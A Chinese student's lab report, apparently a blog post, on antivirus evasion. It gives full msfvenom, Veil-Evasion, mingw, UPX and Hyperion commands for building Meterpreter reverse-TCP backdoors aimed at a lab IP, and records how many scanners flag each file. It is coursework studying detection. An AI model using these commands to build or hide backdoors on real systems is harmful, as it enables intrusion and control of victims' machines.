Exp3 免杀原理与实践 20164309

实践内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1.1MSF编码器

直接使用上次实验的20164309_backdoor.exe试试

看来文件名违法了,那改名为164309_backdoor。

改名后直接被清理。。看来裸奔的后门的确不好使。

 

找回文件添加进信任区,对其进行扫描

 

virscan57%的杀软报毒

有业界毒瘤之称的百度杀毒没查出来。。。(可喜可贺的是百度杀毒于去年11月份停止运营)

 

再在virustotal上试试,51个杀软报毒

 看来大部分正常的杀毒软件都能够识别直接用msf生成的病毒

 

 

 1.2veil-evasion

 输入sudo apt-get install veil-evasion  下载veil-evasion工具

 

在尝试过老师的实验指导同学的实验报告和网络的各种方法之后,我花费了一天还是没有展开那几个veil文件,拷贝了同学的kali使用veil进行生成。

输入 veil 进入veil工具

输入 use evasion 进入veil-evasion

输入 use c/meterpreter/rev_tcp.c 选择C语言、tcp端口、反弹回连

输入 set LHOST 192.168.236.131   set LPORT 4309 设置反弹ip和端口

输入 generate 生成文件并命名为4309_veil

扫描发现还是报毒

 

 

 

1.3msfvenom生成php和jar

 分别使用

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_java.jar

 

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_php.php

 

 生成php和jar的shellcode文件

 

 php表现较好

 

但这个不是可执行文件,没有可比性

 再看看jar

 

virscan(7/49) virustotal(33/57)严重怀疑virscan放水

 

 1.3shellcode

 

输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 -f c 生成后门

 进入 vim 4309shellcode.c 进行修改,加上函数头、主函数与文件头,完善为合法的C语言文件

 使用 i686-w64-mingw32-g++ 4309shellcode.c -o 4309shellcode.exe 使其生成可执行文件

 

 

电脑上的腾讯管家并未报毒,共存成功,那运行岂不是也能成功了?后来发现结果发现的确如此

这就算实现了???(后面发现并非如此)

 

1.4使用加壳工具

输入 upx 4309shellcode.exe -o 4309shellcodeupx.exe 

腾讯管家没有报毒

 

任务二:通过组合应用各种技术实现恶意代码免杀

再对该文件进行加密 cd /usr/share/windows-binaries/hyperion/ 

  wine hyperion.exe -v 4309_upx.exe 4309_upx_Hyperion.exe 

加密之后报毒猛增!

 

看来杀软可能是根据压缩、加密壳里的字段进行判断是否为病毒的

 运行看看

 

拷贝时没有被查杀,能够共存,但运行时出现了问题,看来腾讯管家还是有一些用的,放入白名单,发现回连成功。

 

 

再在虚拟机上复现,发现还是没能够实现回连(除非白名单伺候)

看来在2014年的腾讯管家就对其有一定的限制了,我认为对于不加壳的是反汇编分析源代码内容,发现程序头文件调用系统资源;而加壳加密的是直接查找有关的特征代码从而查找出病毒

免杀路漫漫,我还是试一下python能不能够实现吧

 

使用

use python/meterpreter/rev_tcp.exe

生成python文件试试

 

 

输入 pip install pyinstaller  pyinstaller -F 4309py.py 对生成的文件进行编译,转换成exe文件

 

???还是失败

 

那我想试试加壳到底能不能帮助免杀呢???

源文件采用上学期的操作系统实验代码

 

这都给我报毒???

改成英文名在kali上加壳加密

使用  upx caozuoxitong.exe -o caozuoxitongupx.exe 进行加壳

使用 wine hyperion.exe -v caozuoxitongupx.exe caozuoxitongupx_hy.exe 进行加密

大好河山一片红。。。

 一个普通exe文件通过压缩加密之后反而报毒更多,看来刚刚的猜想被证实了,杀软通过壳里的特征码来进行杀毒的!!那在不手工修改代码的情况下肯定是难以实现的了。

 基础问题回答

1.杀软是如何检测出恶意代码的?

通过编译恶意代码,或者发现其中的特征代码以实现,就像本次实验中的加壳反而会被报毒;

通过代码运行时的行为,就像本次实验中有的能与杀软共存,但是一旦运行还是会被清理;

2. 免杀是做什么?

通过一些手段使恶意代码不被目标主机发现

3.免杀的基本方法有哪些?

手工对恶意代码进行更改,研究病毒库中的特征码,再对特征码进行更改

4.开启杀软能绝对防止电脑中恶意代码吗?

不一定,但是大部分的能够防止,杀软的病毒库是根据检测出来的病毒更新的,所谓道高一尺魔高一丈,恶意代码总有新的漏洞可以利用。

 实验感想

根据本次实验,以我们大多数人现在的水平,还没有达到通过编程直接生成病毒来实现入侵的水平,就算有,通过杀软通过编译伪装好的病毒也能够找出问题。而实验中的常规方法早已被各大杀软摸清楚底细,而且像我们用meterpreter生成的shellcode文件在运行时会生成meterpreter.o文件,这是调用系统资源的必要步骤,所以也许我们的后门能够共存,但是在不改变其根本结构的情况下不可能进行免杀,无论是对shellcode进行异或还是加壳最后编译完成的机器码是肯定会被检测出来的。而对于那些壳来说(尤其是加密壳)我们越是使用它反而被查杀的几率越大。尽管我没能完成回连,但是我用尽了我能够想到的方法,最起码做到了问心无愧

 

posted @ 2019-03-31 20:37  路人龙套  阅读(154)  评论(0编辑  收藏